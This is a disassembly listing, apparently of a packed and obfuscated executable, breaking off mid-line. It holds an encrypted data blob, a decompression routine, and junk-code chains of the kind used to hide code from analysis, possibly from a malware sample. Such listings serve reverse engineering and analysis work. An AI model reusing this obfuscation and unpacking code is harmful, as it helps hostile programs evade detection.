dd 94704981h, 8C788B41h, 0B83E89F1h, 79308CD9h, 0A072A2A0h dd 6031FB40h, 60F78267h, 23C13A1Dh, 913624E4h, 77FED5B0h dd 4096B7Bh, 902A0B2Ch, 0CBE73809h, 32A77D6Eh, 15974801h dd 0B01B5783h, 0BF156C0Fh, 0C477DD46h, 0A297DE4h, 2BBDF47h dd 91874E26h, 5D602Bh, 0A597073Eh, 7A118406h, 548EE556h dd 0DC01D47h, 4A4D8393h, 0C7665441h, 2D1BB5AAh, 0B1E3FC1Eh dd 8F455779h, 0A9B1E556h, 0C02DA48Bh, 0FC228473h, 3F88F544h dd 5E977E51h, 0DD129271h, 404480B4h, 12A17E89h, 0A1C0A0C1h dd 0D01D4212h, 0A3AB92A2h, 808E48CEh, 52913D54h, 94D4A4A2h dd 253D2968h, 899F4A72h, 8C151330h, 252C016Ch, 2CAD2C94h dd 0B4459C0Dh, 852C052Ch, 679F2CBCh, 3079CAA8h, 0A8974E20h dd 25B0047h, 896A212Eh, 259884B6h, 8A4312D0h, 38804BF9h dd 25802004h, 95B111C2h, 55844AE8h, 51122B02h, 3C4AAA09h dd 0C129A025h, 4A37094h, 12844252h, 488A0944h, 1B0A2504h dd 21F65F8Eh, 912F1F00h, 84BA008Fh, 12E0025Dh, 4B600972h dd 0D4025B8h, 475597h, 312C10E8h, 4AE2896h, 12B24258h dd 4AB8895Bh, 2A822560h, 0A8099551h, 98255484h, 40944E12h dd 0A156284Ah, 40106128h, 1FC7CCC8h, 825E9101h, 1BC8090Fh dd 118480h, 0D04B043Eh, 0E12DEE25h, 4B18896h, 12B4625Ah dd 4A60895Eh, 29032560h, 0EF194A1h, 3DA32053h, 1801951Ah dd 50848143h, 143E18A2h, 12F2BF9Ch, 4BB0897Ch, 2E8225DCh dd 0B9099751h, 0DC255CC4h, 50967012h, 8258B04Bh, 895C712Ch dd 256044AFh, 924212B4h, 59844AA1h, 6350B010h, 2342880h dd 34394A90h, 0A7A702AAh, 4192383Ah, 0F3C892C0h, 0C5001553h dd 9411E020h, 10F4618h, 853C2FE7h, 0FA0A155h, 8974F802h dd 49E7047Bh, 0B1460AACh, 0B1663380h, 87601824h, 84B46E00h dd 12C8023Ah, 4B100966h, 2C01258Ch, 17719611h, 4BC35595h dd 559564CDh, 18D5421h, 10041CB0h, 5B5361ABh, 0A4046905h dd 11983101h, 2AB33380h, 862528h, 6805C647h, 63F81855h dd 0E82AA080h, 7500DFA1h, 23CB463h, 855687A0h, 6006C4B8h dd 0AB529C5Bh, 1C73A42h, 39426B68h, 2D8C3002h, 2155AB58h dd 655E031Ch, 161BAE17h, 362BA02Eh, 56079922h, 3EEA6175h dd 0BB499B90h, 0B4248611h, 6DD7F031h, 0C0C72E4h, 595BF30h dd 0B0015C4Bh, 2556BD84h, 88C02C96h, 85840580h, 0F8521900h dd 0B87A1A15h, 4D850A6Bh, 61E5902h, 84398Dh, 0CB45C60Ch dd 4C20FDB4h, 5946E30Ch, 4582CD11h, 34BC2DEh, 22B60102h dd 19BCB1B0h, 0B65D99B7h, 8562A573h, 0B1DA6E80h, 5D4CB498h dd 2CB712B3h, 0E8405AD1h, 32C85D6h, 1801B30Dh, 0EE0D9E8Ch dd 90220DC6h, 887497A0h, 3110B03h, 0D008B1B5h, 141CD590h dd 0D018495Dh, 103AC503h, 44FED6Ch, 8385B2BCh, 8B01CAB2h dd 58D796DAh, 1FD38890h, 0CAE6D9FDh, 532F2260h, 35403E76h dd 5035BD34h, 8484D220h, 0A6CC583Fh, 0AE57E1B7h, 8A886684h dd 44A846C5h, 8ADD05C1h, 83AC08C1h, 8167551h, 0D958B66Bh dd 8C0A3470h, 0E044BEC7h, 3288066Dh, 4D581617h, 274C8D6Bh dd 2C7229Ah, 112D5107h, 6C857228h, 1172EE5Eh, 0DC080A07h dd 7ACF8AB9h, 0CAB99BABh, 60CB878h, 0E6248793h, 9842E618h dd 8820E608h, 17B26189h, 41701102h, 8A92241h, 1131BBD9h dd 0D81ED8A0h, 7D224229h, 8C180430h, 0ABCDB106h, 810A8204h dd 250EC008h, 6EBCEA6Ah, 0A44810h, 944B445Dh, 0EAA00E2Bh dd 0C4BA7D8Eh, 533628A2h, 0D1EA8309h, 7508FF9Fh, 6C8AE505h dd 1B0C075Eh, 0DA0310Eh, 102346EEh, 0E39B1C34h, 0A163AE3Eh dd 30F92BA7h, 0E060305h, 2C518534h, 819612C2h, 317FC458h dd 0AF505861h, 758D4941h, 741CAB06h, 48891E2Ch, 779D8149h dd 11616231h, 55F8852Ch, 0DB9762D0h, 182A8BBh, 8141D1D1h dd 95D0EAFEh, 2E6E16DEh, 0E217836h, 786C438Bh, 6FA1644Bh dd 214A1A7Fh, 81F564A0h, 9C40BB8Ch, 90B08065h, 5C14158h dd 0DA6EDC46h, 0E9180CB1h, 5CB0652Dh, 2CAEB15Bh, 81C8EDBh dd 82485620h, 0DE9371F1h, 293B2AAh, 416918Bh, 27018C8Ch dd 6BBA775Eh, 911A42C7h, 3FB0DC1Ah, 4D98CB7h, 28AD98E3h dd 69B285E4h, 1C7661A1h, 30E2B040h, 0A5A672E3h, 56EBB4D8h dd 182EC608h, 0B0847936h, 0A48BAB48h, 0D0B0321h, 4A013664h dd 0B9027433h, 57521962h, 280534Eh, 41C06C11h, 40EE145Bh dd 8A0CCDACh, 0DF6805EEh, 802D35AAh, 588C07E6h, 59942C30h dd 8105B746h, 2325BC0h, 9ABAC2A5h, 73B0C464h, 83A344Ah dd 44053139h, 9B80A31Ch, 8A01DE30h, 0FFA234C1h, 293015A5h dd 882195Dh, 2043040Eh, 0DE708B81h, 0DE125FC0h, 700790BAh dd 63AD7D4Fh, 2A219470h, 4023378Bh, 37901671h, 5183B9A7h dd 2CCA62Ch, 8DC1141Fh, 58B038A2h, 0A673522Ch, 0B5D521CCh dd 24981904h, 6E47A9C3h, 0F88F205Fh, 5F10A5AAh, 0C594B551h dd 1775DFACh, 584CB925h, 0C56FFC28h, 64DE26C8h, 59AD0626h dd 25CDD28Bh, 52840526h, 99BCD0Bh, 6CB82009h, 972B9D02h dd 0A4B4212Ch, 0A350BDE0h, 0A8E80398h, 13A82965h, 9D31D263h dd 1F3FEB8Dh, 28D29A9Dh, 666AC5AAh, 76C20E4Ch, 808BBB0Eh dd 0B1804EBEh, 1BC50284h, 1416DC05h, 0A6A2957Fh, 0F6C39A4Ch dd 83306708h, 5124D1C9h, 379005F0h, 0E4C1726Bh, 0F78048A5h dd 0A2868E71h, 3147B3A4h, 40FC6E0Dh, 53A64C59h, 763D5298h dd 93356CA0h, 0D13A8CC9h, 45A4253Bh, 33165DC9h, 0BAD50A52h dd 6D4C01A2h, 0D6CC0D31h, 82850C15h, 17A86610h, 8157F739h dd 6933D54Ah, 223BB9CBh, 3FF5CBFDh, 97B4A7h, 2156E130h dd 825ABF26h, 0F0B08291h, 0AEC1C0C2h, 2C7A82F2h, 2AE2E2EAh dd 0A3543262h, 0E5D1AF3Bh, 7597EED3h, 0B19A285h, 51AB470Ch dd 8D18C702h, 0AAC017AAh, 8AEEE8C2h, 3F10BEBh, 0F602407Bh dd 0FF9101AAh, 7D70E931h, 995DF17Eh, 67DB5F47h, 0E873A432h dd 861B262h, 735A0294h, 8F44B84h, 0A9D556F1h, 0E7855152h dd 0BBC48DD7h, 70C52B93h, 3380FBEh, 10D46E40h, 0DCA73E1Ch dd 32E4CCCFh, 41702759h, 0AFDA7049h, 2BE99C0Bh, 0EC7457CAh dd 0E819AC16h, 46597D75h, 0B2663920h, 4058B170h, 71CD6380h dd 0FE02290Bh, 4A9856FFh, 9CA5B685h, 92B7B2ABh, 9FFE5375h dd 0F1814130h, 9351B62Fh, 3B54F62Eh, 0ADD692F5h, 8820499h dd 0A5A10C58h, 650C295h, 13ECE064h, 152A68EAh, 0C7305AA2h dd 81B29EEAh, 8114B056h, 0A11AA1B4h, 121BAA81h, 31E5C1EFh dd 5F89F09Ah, 84726B45h, 12143587h, 145E1A6Eh, 3D0A0A80h dd 8874A777h, 5A100692h, 364ED21h, 0D605933Eh, 0D1B42BECh dd 798C0EA8h, 0C0DFCAE5h, 1257A166h, 0E416051h, 0A6B5F68h dd 7B022440h, 1FB2C8D5h, 0BAFAC11Ch, 603E418Bh, 0AEC19AD1h dd 43282989h, 0B1460A03h, 70606ACh, 0CC4DC854h, 3F0ACB7Fh dd 2AA7146Ah, 54794707h, 4302EA5h, 70FCACDEh, 74717F83h dd 0D5F2F14h, 0C7D163E3h, 7902857Eh, 59AB6301h, 0B91852FCh dd 7A763801h, 9547DD4Fh, 0FC26BAE0h, 0E18A2810h, 3A453438h dd 400653E0h, 2F02057Dh dd 31C8139Ch, 0ABD4E91Eh, 0D885A096h, 0C8E6F1B4h, 0BEFA4587h dd 71AEB73h, 8A08F2D0h, 998C07AFh, 0AA2355CCh, 0C5FEA16h dd 5F56651Eh, 3315F09Fh, 2FE8260Ah, 895492FEh, 1DE982D4h dd 29261804h, 0FEE367C7h, 76042B1h, 9DE0D4EAh, 0EC692666h dd 0F3E43063h, 0C6876A9h, 0D5A6E3BDh, 636444C2h, 0CE083074h dd 0F1B5A8D0h, 89BF1411h, 339845E6h, 2A00EA5h, 58040394h dd 0CA15E46h, 39693206h, 21EE097Fh, 0EA129E80h, 0BAD8152Ah dd 6262A76h, 99EDFC03h, 3ABE6B3Dh, 0E7B1FF39h, 0A274AF9Bh dd 4C16DF30h, 33BDFAD8h, 0A0EFA588h, 5A4FFC2Bh, 7791EB3Dh dd 89D7EE4Bh, 64453AC4h, 0CCB6258Eh, 0A9FE387Eh, 6576EBB7h dd 0CEF6FC0Bh, 0C41D7984h, 0E3B50706h, 7D7D5F9h, 35B77CCDh dd 5A959B6h, 8AD03CFAh, 4C237277h, 97378AAFh, 0D7AEDD0Bh dd 1F37E549h, 5AEAE555h, 0B86C9897h, 0BBAF9800h, 74FA2F63h dd 28FD229Bh, 5055B822h, 4C664983h, 0C0FEFAD5h, 0CC3E0F87h dd 0A4C763B4h, 285AA75Bh, 3EA24ED5h, 0E01038C0h, 0BA43FF2Fh dd 6E0E5557h, 0BD720850h, 3002D414h, 28FA2118h, 25530557h dd 0F8B85B49h, 0B39097AAh, 0CD3A8C28h, 7FCB9282h, 825E234Fh dd 0F2CB68FCh, 4C80AFA6h, 0C2A38255h, 0A30A01C7h, 172B70AFh dd 0F195CEF8h, 34AFF865h, 0EFD91396h, 88FCE760h, 8F07C2EAh dd 8F53FA90h, 8F579940h, 0E2C54341h, 6961FBB1h, 0DEF79F72h dd 46905618h, 579856AEh, 0AC39E62Dh, 9EA0B17Eh, 0F344E80Eh dd 60FA80ABh, 0B155D38Fh, 0D252A9Ah, 6E9F0054h, 0B99B5D04h dd 976147F6h, 965C9D0Bh, 3987CC6Fh, 7863C046h, 6A75E973h dd 5779495Fh, 4F18C039h, 6CA75867h, 8F3BEDE1h, 0CCC051E9h dd 0AE3E4095h, 8FB6E8C4h, 0B135A563h, 0A802C262h, 55FE6D7h dd 1FDB8B05h, 5883F1E5h, 68155B39h, 0C3EA67FEh, 22BFFC99h dd 38DFBA1Dh, 36A3DE2Fh, 0A282A37Ch, 22EFFA69h, 0BFC0C719h dd 93579E62h, 0EB316CC7h, 11577291h, 9885D350h, 359D7967h dd 66935967h, 9653FAECh, 0EBC50D94h, 6AF56273h, 96B1AE39h dd 19E7783Bh, 0DC677834h, 0B99596B0h, 0F7006581h, 6213D94Dh dd 88ADE957h, 1EBF9462h, 367680E3h, 6D2EDF38h, 7A39DF45h dd 0B9CB3931h, 15B5BCBDh, 535763E9h, 0F59AB72Eh, 98CB310h dd 0AF41AA96h, 0DC27384h, 0CA566D8Dh, 57C2E221h, 0C2FFBB91h dd 0EFE7043Eh, 0B5D91DF2h, 9262867h, 8BD15EF3h, 98833151h dd 0B5A175E3h, 54552598h, 0A1834F3Dh, 9C327382h, 0B1482920h dd 0E0176E0h, 3172AB34h, 2510478Fh, 51678795h, 0C22BBB9Ch dd 7CE27664h, 0F6E7AF74h, 90D26B92h, 0CE245991h, 4B31BCA3h dd 0C2EAE2D8h, 0A53C1308h, 1B86A8h, 14230194h, 54030510h dd 6DF20D85h, 0D240D67Ah, 9626607Eh, 0A0A31057h, 0A2B1052h dd 307294C2h, 6CE9F9F0h, 75000025h, 0C9913AF5h, 118D3764h dd 8A118Fh, 0DD310083h, 2D58D915h, 8F30179Bh, 0CC59B28Ah dd 1569AB38h, 83704E5Bh, 0E7C69450h, 87C5D2ADh, 293495D4h dd 4D50837h, 437E59D5h, 541D2DFh, 0FFA746C9h, 0A55D9F91h dd 18B14537h, 0EDF00537h, 8A19274Fh, 0B35AA8CBh, 5AE65D6h dd 0CC9654E8h, 5EA58C04h, 0C5D5A511h, 2989191Dh, 80E9B625h dd 0BB1C7811h, 949512AAh, 0F1703303h, 9B298905h, 49582931h dd 0C2D4124Dh, 38AD48B3h, 9496DA9Dh, 268815BEh, 0B4B081FDh dd 5399D72Ah, 0A58D446Ch, 846CC4C4h, 0C9255540h, 17478D98h dd 420FAE01h, 659B9C99h, 855D526Bh, 99329319h, 1333AE11h dd 0F99A9EBFh, 26AA5BCFh, 0C1640BABh, 0C94CCAB3h, 4ABB9AD8h dd 6F0B44CAh, 2C215A85h, 0FE342E3Bh, 0DAD6B859h, 0D088C8F1h dd 2BE8C65Bh, 0AD74E327h, 765A8944h, 93269631h, 0BED10560h dd 3558CC22h, 0A110FCD7h, 2B24752Eh, 0E69DA7A9h, 632D5557h dd 32291574h, 4C4F8FA9h, 22A517B5h, 2D836DACh, 0B3015C65h dd 0D58C314Fh, 2ABE2584h, 0A9809953h, 4A034B3Ch, 0FB5A2AB9h dd 0C577E185h, 0AC335163h, 1816993Ah, 0C47A1760h, 0DE7C774Ch dd 0F0222395h, 0D5B51A8h, 0A5D30B59h, 0B281CF4Dh, 887100B4h dd 738085C1h, 0BA26B11Eh, 0ACAB675Ah, 0DB092D3Ah, 0A36EE2A4h dd 2A053322h, 0B2EECA0Ch, 238C0E83h, 95E05A00h, 235B4B00h dd 0B227ABE2h, 0AA091822h, 0E9E25713h, 3A60D444h, 116974D1h dd 520665F2h, 9D04306h, 227708A3h, 99F4C4E8h, 9520F3B0h dd 30854E7Dh, 8BA006F4h, 4EE2E060h, 0CB39DCCh, 1832276Eh dd 45A0A66Bh, 2764D430h, 9D84ECCh, 0C32213B1h, 3AC804EBh dd 4EAA75B1h, 13A89D5Ch, 0CAAA2753h, 0AA4E8C69h, 90982E4Ah dd 6A0662AAh, 9F781A46h, 7853A866h, 95BE739Fh, 7875860Ch dd 2901E6BEh, 6A56D582h, 0FDA2A4C9h, 0EAC13B62h, 0DCEF054Ah dd 6E42B010h, 0A1B936E7h, 5668E92Dh, 9520265Ah, 5D3900C0h dd 4C18ECC6h, 0F0972422h, 0DA564D5Ah, 3A65DC08h, 9DC70617h dd 0A893F36Fh, 2E5688A3h, 0C4513041h, 0F5ACCD05h, 0D4E02D6Eh dd 13A0412h, 44BA1F77h, 8D30E920h, 3F77AE5Eh, 0A6E9780h dd 0E851AC18h, 44341779h, 64059761h, 9830C70Dh, 202C255Dh dd 4C9CEB28h, 2B16C827h, 45192EB9h, 8A9B35Eh, 20F2A910h dd 8C20AEF4h, 52314C75h, 50802257h, 85C2878Ch, 276F9AA6h dd 3E45D363h, 5F6F01C7h, 4F31E4A9h, 5C497D27h, 8ABA93Eh dd 65BB8D48h, 2B474879h, 75CE13B6h, 0B32EACC8h, 0BA84DD69h dd 4C53D712h, 65DA8C1Ah, 89ECACB7h, 794D4325h, 0CDFF7736h dd 16F0D73Bh, 7785D66Dh, 4275E874h, 0C7E6A1CFh, 2BCEFD6Eh dd 414A71EDh, 5891AC57h, 23DE89DDh, 7118C55Bh, 17E3EEF6h dd 491FD17h, 17428161h, 0EF9CAE42h, 63BF2C03h, 9FEE1C2Fh dd 0DD62F122h, 0DB2B3FB2h, 0F4FE571Ch, 0E64383EAh, 64A03C9Fh dd 0DC8D5853h, 97CB87FAh, 0EDEF377Ch, 4795A9A0h, 0E3361DE3h dd 0BA83DEE0h, 0D2B69B82h, 0D97535B0h, 83AB384Ch, 0DB457502h dd 0C743CA53h, 0C0BEC156h, 4168FA0h, 0A667F0D8h, 0D3D5E5F5h dd 509F8987h, 904E0218h, 4E40F8C0h, 15269776h, 607019BCh dd 31EB8D33h, 17DF045Ah, 237104F6h, 955FC7D5h, 5D180C75h dd 0E4E20B02h, 0A7E6CEF2h, 0F7BF834Bh, 55756AD5h, 3FE82B6h dd 1028084Ah, 695F3473h, 0E0A0AEA0h, 0C03F57D2h, 48801222h dd 0AB84h, 2 dup(0) db 2 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C902 proc near ; DATA XREF: lsqvqpii:0042EFE1o var_11 = byte ptr -11h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0042CA81 SIZE 00000004 BYTES push ebp mov ebp, esp add esp, 0FFFFFFECh cld push ebx push edi push esi mov [ebp+var_4], eax mov [ebp+var_8], edx mov esi, eax mov edi, edx cmp word ptr [esi], 434Ah jnz loc_42CA44 add esi, 0Ah mov [ebp+var_C], 8 xor ebx, ebx mov edx, 80000000h inc ebx loc_42C933: ; CODE XREF: sub_42C902+46j ; sub_42C902+8Dj ... xor eax, eax call sub_42CA4B jnb short loc_42C94A mov ecx, [ebp+var_10] call sub_42CA63 add al, [ebp+var_11] loc_42C947: ; CODE XREF: sub_42C902+65j stosb jmp short loc_42C933 ; --------------------------------------------------------------------------- loc_42C94A: ; CODE XREF: sub_42C902+38j call sub_42CA4B jb loc_42C9EC call sub_42CA4B jnb short loc_42C9B7 mov ecx, 4 call sub_42CA63 dec eax jz short loc_42C947 jns loc_42CA36 call sub_42CA4B jnb short loc_42C991 push ebp loc_42C977: ; CODE XREF: sub_42C902+8Aj mov ebp, 100h loc_42C97C: ; CODE XREF: sub_42C902+83j call sub_42CA58 mov [edi], al inc edi dec ebp jnz short loc_42C97C call sub_42CA4B jb short loc_42C977 pop ebp jmp short loc_42C933 ; --------------------------------------------------------------------------- loc_42C991: ; CODE XREF: sub_42C902+72j mov ecx, 1 call sub_42CA63 add eax, 7 mov [ebp+var_10], eax mov [ebp+var_11], 0 cmp eax, 8 jz short loc_42C933 call sub_42CA58 mov [ebp+var_11], al jmp loc_42C933 ; --------------------------------------------------------------------------- loc_42C9B7: ; CODE XREF: sub_42C902+58j mov ecx, 7 call sub_42CA63 push eax mov ecx, 2 call sub_42CA63 mov ecx, eax inc ecx inc ecx pop eax or eax, eax jz short loc_42C9D9 mov ebx, eax jmp short loc_42CA37 ; --------------------------------------------------------------------------- loc_42C9D9: ; CODE XREF: sub_42C902+D1j cmp ecx, 2 jz short loc_42CA44 inc ecx call sub_42CA63 mov [ebp+var_C], eax jmp loc_42C933 ; --------------------------------------------------------------------------- loc_42C9EC: ; CODE XREF: sub_42C902+4Dj call sub_42CA6F dec ecx loop loc_42C9FD mov eax, ebx call sub_42CA6F jmp short loc_42CA37 ; --------------------------------------------------------------------------- loc_42C9FD: ; CODE XREF: sub_42C902+F0j dec ecx mov eax, ecx push ebp mov ecx, [ebp+var_C] mov ebp, eax xor eax, eax shl ebp, cl call sub_42CA63 or eax, ebp pop ebp mov ebx, eax call sub_42CA6F cmp eax, 10000h jnb short loc_42CA34 cmp eax, 37FFh jnb short loc_42CA35 cmp eax, 27Fh jnb short loc_42CA36 cmp eax, 7Fh ja short loc_42CA37 inc ecx loc_42CA34: ; CODE XREF: sub_42C902+11Cj inc ecx loc_42CA35: ; CODE XREF: sub_42C902+123j inc ecx loc_42CA36: ; CODE XREF: sub_42C902+67j ; sub_42C902+12Aj inc ecx loc_42CA37: ; CODE XREF: sub_42C902+D5j ; sub_42C902+F9j ... push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_42C933 ; --------------------------------------------------------------------------- loc_42CA44: ; CODE XREF: sub_42C902+19j ; sub_42C902+DAj mov eax, esi pop esi pop edi pop ebx jmp short loc_42CA81 sub_42C902 endp ; =============== S U B R O U T I N E ======================================= sub_42CA4B proc near ; CODE XREF: sub_42C902+33p ; sub_42C902:loc_42C94Ap ... add edx, edx jnz short locret_42CA57 mov edx, [esi] add esi, 4 stc adc edx, edx locret_42CA57: ; CODE XREF: sub_42CA4B+2j retn sub_42CA4B endp ; =============== S U B R O U T I N E ======================================= sub_42CA58 proc near ; CODE XREF: sub_42C902:loc_42C97Cp ; sub_42C902+A8p mov ecx, 8 call sub_42CA63 retn sub_42CA58 endp ; =============== S U B R O U T I N E ======================================= sub_42CA63 proc near ; CODE XREF: sub_42C902+3Dp ; sub_42C902+5Fp ... xor eax, eax loc_42CA65: ; CODE XREF: sub_42CA63+9j call sub_42CA4B adc eax, eax loop loc_42CA65 retn sub_42CA63 endp ; =============== S U B R O U T I N E ======================================= sub_42CA6F proc near ; CODE XREF: sub_42C902:loc_42C9ECp ; sub_42C902+F4p ... xor ecx, ecx inc ecx loc_42CA72: ; CODE XREF: sub_42CA6F+Fj call sub_42CA4B adc ecx, ecx call sub_42CA4B jb short loc_42CA72 retn sub_42CA6F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C902 loc_42CA81: ; CODE XREF: sub_42C902+147j mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_42C902 ; --------------------------------------------------------------------------- align 2 loc_42CA86: ; CODE XREF: lsqvqpii:loc_42EDE1j ; DATA XREF: sub_42EFA1o ... and edx, 0F8DDCEB0h sub edx, 6A72EAEh add edx, 0DE69438Eh xchg edx, [esp] jmp loc_42E30A ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 2 ; START OF FUNCTION CHUNK FOR sub_42E407 loc_42CAA2: ; CODE XREF: sub_42E407-13Aj jmp loc_42EC99 ; END OF FUNCTION CHUNK FOR sub_42E407 ; --------------------------------------------------------------------------- align 4 loc_42CAA8: ; CODE XREF: lsqvqpii:0042E2ABj jmp loc_42DFB1 ; --------------------------------------------------------------------------- align 2 ; START OF FUNCTION CHUNK FOR sub_42E407 loc_42CAAE: ; CODE XREF: sub_42E407-1782j jmp loc_42EAEF ; END OF FUNCTION CHUNK FOR sub_42E407 ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_42D010 loc_42CAB4: ; CODE XREF: sub_42D010+Aj mov byte ptr [eax], 87h xchg ebp, [esp+0] loc_42CABA: ; CODE XREF: sub_42DC4F:loc_42D75Dj mov eax, ebp pop ebp xchg edx, [esp-4+arg_0] mov ecx, edx jmp loc_42DB56 ; END OF FUNCTION CHUNK FOR sub_42D010 ; --------------------------------------------------------------------------- mov byte ptr [eax], 9Dh pop eax add esi, 0F6FF71FFh mov esi, [esi] jmp loc_42CD11 ; --------------------------------------------------------------------------- locret_42CAD8: ; CODE XREF: lsqvqpii:loc_42E327j retn ; --------------------------------------------------------------------------- align 2 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_11. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_42CADB proc near ; DATA XREF: sub_42E407+26Ao xchg ecx, [esp+0] retn sub_42CADB endp ; --------------------------------------------------------------------------- align 10h dd 83108B00h, 48704C0h, 4BFE924h, 0F000000h, 1EC884h, 0EF2E900h dd 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CBA0 loc_42CAFC: ; CODE XREF: sub_42CBA0+1Bj rol eax, 0Bh jnb loc_42D2C8 ; END OF FUNCTION CHUNK FOR sub_42CBA0 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DC4F loc_42CB07: ; CODE XREF: sub_42DC4F-185j jmp nullsub_10 ; END OF FUNCTION CHUNK FOR sub_42DC4F ; --------------------------------------------------------------------------- ror eax, 18h xchg eax, [ecx] jmp loc_42D2C8 ; --------------------------------------------------------------------------- and ecx, 0E91C3181h jmp sub_42D1B0 ; --------------------------------------------------------------------------- align 2 cmp esi, 37D14133h jmp loc_42E8AA ; --------------------------------------------------------------------------- db 2 dup(0), 0Fh dd 210187h, 243C8700h, 0E9C7035Fh, 18BBh, 0CE810000h, 0A6BDC3E4h dd 0A0FFEE81h, 0F681FC37h, 0B8B3964h, 0E315B850h, 68E90042h dd 0FFFFFFh, 658A0F00h, 300001Eh, 240487FAh, 0E9240C87h dd 0E73h, 0C602C600h, 0E27B685Ah, 0E0E90042h, 18h, 42CD2968h dd 6B4E900h, 0 ; --------------------------------------------------------------------------- add esi, 0FCF3E0FFh push offset loc_42D8AE jmp locret_42D6AB ; =============== S U B R O U T I N E ======================================= sub_42CBA0 proc near ; CODE XREF: sub_42CD4C+2j ; sub_42E407:loc_42E8C9j ... ; FUNCTION CHUNK AT 0042CAFC SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0042D2C8 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0042D51A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E7AD SIZE 00000010 BYTES xchg ecx, [esp+0] xchg esi, [esp+0] mov ecx, esi pop esi push 0FFED3927h pop eax xor eax, 0FB2FEE90h sub eax, 9DFBDB67h jmp loc_42CAFC sub_42CBA0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DD3F loc_42CBC2: ; CODE XREF: sub_42DD3F:loc_42E176j jnz loc_42E30F loc_42CBC8: ; CODE XREF: sub_42E930-C17j jmp sub_42DB92 ; END OF FUNCTION CHUNK FOR sub_42DD3F ; --------------------------------------------------------------------------- align 2 rol edi, 0Fh sbb ebp, 955B0430h jmp loc_42E30F ; --------------------------------------------------------------------------- loc_42CBDC: ; CODE XREF: lsqvqpii:loc_42D781j sub ebx, 536B5FD1h xor ebx, 0A3436422h add ebx, 949592FCh or ebx, 9A249400h add ebx, 205D254Dh jmp loc_42D1A4 ; --------------------------------------------------------------------------- align 10h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D877 loc_42CC01: ; CODE XREF: sub_42D877+CEBj add edx, ebp loc_42CC03: ; CODE XREF: lsqvqpii:loc_42D5CFj add edx, 0F7EAD47h mov edx, [edx] xchg edx, [esp+0] call sub_42E9E0 add cl, ch insb add eax, [eax] add [ecx-476ABA1Dh], al enter 3DE8h, 1Bh ; END OF FUNCTION CHUNK FOR sub_42D877 ; --------------------------------------------------------------------------- dw 0 dd 39E90000h, 0Fh, 0D4CB6800h, 5BE90042h, 11h, 0E90FCDC1h ; CODE XREF: lsqvqpii:0042E24Dj dd 3D0h, 37C78100h, 0E8E6CA6Dh, 0FFFFFEE9h, 0A4E90000h dd 1Ah, 24348700h, 0D94E8h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E407 loc_42CC5D: ; CODE XREF: sub_42E407+DDj jmp loc_42E6E5 ; END OF FUNCTION CHUNK FOR sub_42E407 ; --------------------------------------------------------------------------- align 4 popf jno loc_42D4B5 jmp sub_42EB44 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E407 loc_42CC71: ; CODE XREF: sub_42E407-BFFj xchg ebx, [esp+0] xchg eax, [esp+0] mov ebx, eax pop eax push 958C4FC4h xchg ecx, [esp+0] mov edx, ecx pop ecx jmp loc_42CAAE ; END OF FUNCTION CHUNK FOR sub_42E407 ; --------------------------------------------------------------------------- dw 8700h ; --------------------------------------------------------------------------- or al, 24h push ebx push 0BBD456EBh pop ebx jmp loc_42D781 ; --------------------------------------------------------------------------- db 0 ; =============== S U B R O U T I N E ======================================= sub_42CC9B proc near ; DATA XREF: sub_42EDBB-1E6Eo var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0042E8F3 SIZE 0000000E BYTES push ebp mov ebp, edx xchg ebp, [esp+4+var_4] push esi jmp loc_42E8F3 sub_42CC9B endp ; sp-analysis failed ; --------------------------------------------------------------------------- locret_42CCA7: ; CODE XREF: lsqvqpii:loc_42EAE2j retn ; --------------------------------------------------------------------------- dword_42CCA8 dd 4DE90000h, 0Ch, 0D545BA52h, 72E90042h, 16h, 0E9C68500h ; DATA XREF: lsqvqpii:0042EA25o dd 0FFFFFE6Bh, 0C30000h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EB44 loc_42CCC9: ; CODE XREF: sub_42EB44+14j jmp loc_42DBC2 ; END OF FUNCTION CHUNK FOR sub_42EB44 ; --------------------------------------------------------------------------- align 10h loc_42CCD0: ; CODE XREF: lsqvqpii:loc_42D616j push 3BE69D3Eh pop ecx push ecx mov ecx, offset dword_42CE14 jmp loc_42E806 ; --------------------------------------------------------------------------- align 2 retn ; --------------------------------------------------------------------------- align 4 loc_42CCE4: ; CODE XREF: lsqvqpii:0042DEAFj jmp locret_42D314 ; --------------------------------------------------------------------------- db 2 dup(0), 81h dd 839756C7h, 243C8734h, 1C57E9h, 0C3000000h, 4DE90000h dd 1Dh, 1D07E900h, 51000000h, 1D91E9h db 0 ; --------------------------------------------------------------------------- loc_42CD11: ; CODE XREF: lsqvqpii:0042CAD3j call sub_42DD3F add bl, al ; CODE XREF: lsqvqpii:loc_42E037j ; --------------------------------------------------------------------------- dd 5FE90000h, 0Ah, 0BFE900C3h, 7, 8702C600h, 8B243487h ; CODE XREF: lsqvqpii:0042E6A2j dd 0C1C15ED6h, 124CE903h, 0 ; --------------------------------------------------------------------------- xchg esi, [esp] pop esi push eax mov eax, offset loc_42DBF5 jmp loc_42D324 ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U 